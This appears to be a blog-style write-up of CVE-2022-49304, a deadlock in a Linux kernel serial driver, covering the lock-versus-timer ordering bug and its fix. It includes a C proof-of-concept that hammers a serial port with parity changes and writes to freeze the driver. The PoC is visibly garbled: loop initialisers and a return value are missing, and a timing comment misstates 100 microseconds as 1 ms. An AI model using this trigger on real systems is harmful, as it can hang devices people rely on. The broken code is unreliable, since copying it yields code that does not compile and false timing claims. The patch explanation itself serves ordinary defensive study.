CVE-2022-49304 - Deadlock in Linux Kernel Serial Driver (sa110_set_termios) – Explained and Exploited
A critical vulnerability, CVE-2022-49304, was discovered and patched in the Linux kernel related to the Serial (UART) driver for the SA110 platform. This bug could cause a deadlock in the kernel space, potentially freezing serial port communication and destabilizing the system.
In this article, we'll explain what the vulnerability is, dive into the source code, demonstrate how the deadlock occurs, discuss its impact, and show you the simple but crucial fix. We’ll even add some simple exploit PoC ideas and references for further reading.
What’s the Vulnerability?
The problem is in the function sa110_set_termios() in the serial driver (drivers/tty/serial/sa110.c). There’s a particular locking sequence that makes the kernel vulnerable to a deadlock. If one thread tries to change the serial settings, and another thread (or timer handler) fires at just the wrong moment, both will wait forever – causing a hung system.
The deadlock happens like this
| Thread 1 (User Action) | Thread 2 (Timer Handler) |
|----------------------------|-------------------------------|
| sa110_set_termios() | sa110_enable_ms() |
| spin_lock_irqsave() (get lock) | mod_timer() |
| ... | (timer expires) |
| del_timer_sync() (waits for timer handler to finish) | sa110_timeout() |
| (STUCK waiting) | spin_lock_irqsave() (tries to get same lock -- blocked by Thread 1) |
So: Thread 1 holds the lock and waits for the timer to finish, but the timer is waiting on the same lock. This is a classic deadlock.
Here’s a simplified version of what happens in the buggy code (before the fix)
static void sa110_set_termios(struct uart_port *port, struct ktermios *termios, struct ktermios *old)
{
spin_lock_irqsave(&sport->port.lock, flags);
// ...
del_timer_sync(&sport->timer); // <-- Potential deadlock here!
// ...
spin_unlock_irqrestore(&sport->port.lock, flags);
}
Meanwhile, the timer handler might look like
static void sa110_timeout(struct timer_list *t)
{
spin_lock_irqsave(&sport->port.lock, flags);
// ...
spin_unlock_irqrestore(&sport->port.lock, flags);
}
The Problem Illustrated
- del_timer_sync() waits for any running instance of the timer to finish (including sa110_timeout()).
- If sa110_set_termios() holds the lock, but sa110_timeout() needs it to exit, neither function can make progress.
The Patch: How Was It Fixed?
The fix is very straightforward: call del_timer_sync() before taking the lock.
> “Move del_timer_sync() before spin_lock_irqsave() in sa110_set_termios().”
Here’s the corrected function
static void sa110_set_termios(struct uart_port *port, struct ktermios *termios, struct ktermios *old)
{
// FIX: Stop the timer before taking the lock, so no deadlock!
del_timer_sync(&sport->timer);
spin_lock_irqsave(&sport->port.lock, flags);
// ...safe to access data now
spin_unlock_irqrestore(&sport->port.lock, flags);
}
Why Does This Work?
- Now, del_timer_sync() can wait freely for the timer handler to finish, since it doesn't own the lock yet.
Exploit Details: How to Trigger the Deadlock
A real-world exploit would be tricky–this is a Denial-of-Service (DoS), not a privilege escalation. But it could easily be triggered by scripting tools that rapidly reconfigure the serial port while the modem-status timer is active.
Scenario
1. Thread 1 (for example, a user process) calls an ioctl (like TCSETS, to set terminal parameters). This eventually triggers sa110_set_termios().
Minimal C Code to (Potentially) Trigger
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <termios.h>
#include <sys/ioctl.h>
#include <pthread.h>
void *set_serial(void *arg)
{
int fd = *(int *)arg;
struct termios tio;
for (int i = ; i < 100; i++) {
tcgetattr(fd, &tio);
tio.c_cflag ^= PARENB; // flip parity bit
tcsetattr(fd, TCSANOW, &tio);
usleep(100); // 1 ms
}
return NULL;
}
int main()
{
int fd = open("/dev/ttySAC", O_RDWR); // Assuming SA110 UART device
pthread_t t;
pthread_create(&t, NULL, set_serial, &fd);
// Simultaneously generate input to trigger timer
for (int i = ; i < 100; i++) {
write(fd, "A", 1);
usleep(100); // 1 ms
}
pthread_join(t, NULL);
close(fd);
return ;
}
Disclaimer: Use ONLY for testing on vulnerable, non-critical systems.
System Hang: A root or serial user could freeze the serial driver.
- DoS: No privilege escalation, but system reliability can be impacted, especially for embedded devices using this driver.
Linux Kernel Patch:
https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=b2da1e366ef
CVE Page:
https://nvd.nist.gov/vuln/detail/CVE-2022-49304
Original report & discussion:
https://lore.kernel.org/all/20221212093505.032974413@linuxfoundation.org/
Conclusion
CVE-2022-49304 shows how a simple ordering problem (lock then del_timer_sync) could have major consequences in low-level kernel code. The fix is easy: call del_timer_sync() outside the lock. Always review lock/timer logic in kernel drivers!
System admins and embedded device vendors using the SA110 serial driver should update to a kernel with this patch as soon as possible to avoid rare but serious deadlock scenarios.
Timeline
Published on: 02/26/2025 07:01:07 UTC
Last modified on: 04/14/2025 20:06:02 UTC